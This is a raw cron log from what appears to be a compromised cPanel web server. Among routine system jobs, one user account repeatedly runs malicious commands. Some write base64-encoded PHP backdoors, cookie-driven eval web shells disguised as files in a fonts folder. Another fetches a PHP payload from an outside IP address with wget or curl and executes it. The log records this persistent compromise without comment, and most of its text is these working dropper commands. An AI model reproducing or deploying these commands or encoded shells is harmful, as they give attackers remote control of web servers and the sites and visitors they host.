Sep 20 16:46:01 ip-184-168-122-23 CROND[4495]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 16:46:01 ip-184-168-122-23 CROND[4497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:46:01 ip-184-168-122-23 CROND[4496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:47:01 ip-184-168-122-23 CROND[4753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:47:01 ip-184-168-122-23 CROND[4754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:47:01 ip-184-168-122-23 CROND[4757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:47:01 ip-184-168-122-23 CROND[4758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:48:01 ip-184-168-122-23 CROND[5017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:48:01 ip-184-168-122-23 CROND[5019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:48:01 ip-184-168-122-23 CROND[5020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:48:01 ip-184-168-122-23 CROND[5021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:48:01 ip-184-168-122-23 CROND[5022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:49:01 ip-184-168-122-23 CROND[5261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:49:01 ip-184-168-122-23 CROND[5262]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 20 16:49:01 ip-184-168-122-23 CROND[5263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:49:01 ip-184-168-122-23 CROND[5264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:49:01 ip-184-168-122-23 CROND[5265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:50:01 ip-184-168-122-23 CROND[5570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:50:01 ip-184-168-122-23 CROND[5572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:50:01 ip-184-168-122-23 CROND[5579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:50:01 ip-184-168-122-23 CROND[5577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:50:01 ip-184-168-122-23 CROND[5578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:50:01 ip-184-168-122-23 CROND[5576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:50:01 ip-184-168-122-23 CROND[5581]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 16:50:01 ip-184-168-122-23 CROND[5582]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 16:50:01 ip-184-168-122-23 CROND[5583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:51:01 ip-184-168-122-23 CROND[5939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:51:01 ip-184-168-122-23 CROND[5940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:51:01 ip-184-168-122-23 CROND[5943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:51:01 ip-184-168-122-23 CROND[5942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:52:01 ip-184-168-122-23 CROND[6220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:52:01 ip-184-168-122-23 CROND[6221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:52:01 ip-184-168-122-23 CROND[6226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:52:01 ip-184-168-122-23 CROND[6224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:52:01 ip-184-168-122-23 CROND[6223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:53:01 ip-184-168-122-23 CROND[6486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:53:01 ip-184-168-122-23 CROND[6488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:53:01 ip-184-168-122-23 CROND[6489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:53:01 ip-184-168-122-23 CROND[6490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:54:01 ip-184-168-122-23 CROND[6713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:54:01 ip-184-168-122-23 CROND[6714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:54:01 ip-184-168-122-23 CROND[6715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:54:01 ip-184-168-122-23 CROND[6716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:54:01 ip-184-168-122-23 CROND[6717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:55:01 ip-184-168-122-23 CROND[6972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:55:01 ip-184-168-122-23 CROND[6974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:55:01 ip-184-168-122-23 CROND[6978]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:55:01 ip-184-168-122-23 CROND[6976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:55:01 ip-184-168-122-23 CROND[6979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:55:01 ip-184-168-122-23 CROND[6980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:56:01 ip-184-168-122-23 CROND[7230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:56:01 ip-184-168-122-23 CROND[7232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:56:01 ip-184-168-122-23 CROND[7233]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:56:01 ip-184-168-122-23 CROND[7231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:56:01 ip-184-168-122-23 CROND[7235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:57:01 ip-184-168-122-23 CROND[7563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:57:01 ip-184-168-122-23 CROND[7565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:57:01 ip-184-168-122-23 CROND[7567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:57:01 ip-184-168-122-23 CROND[7566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:58:01 ip-184-168-122-23 CROND[7804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:58:01 ip-184-168-122-23 CROND[7805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
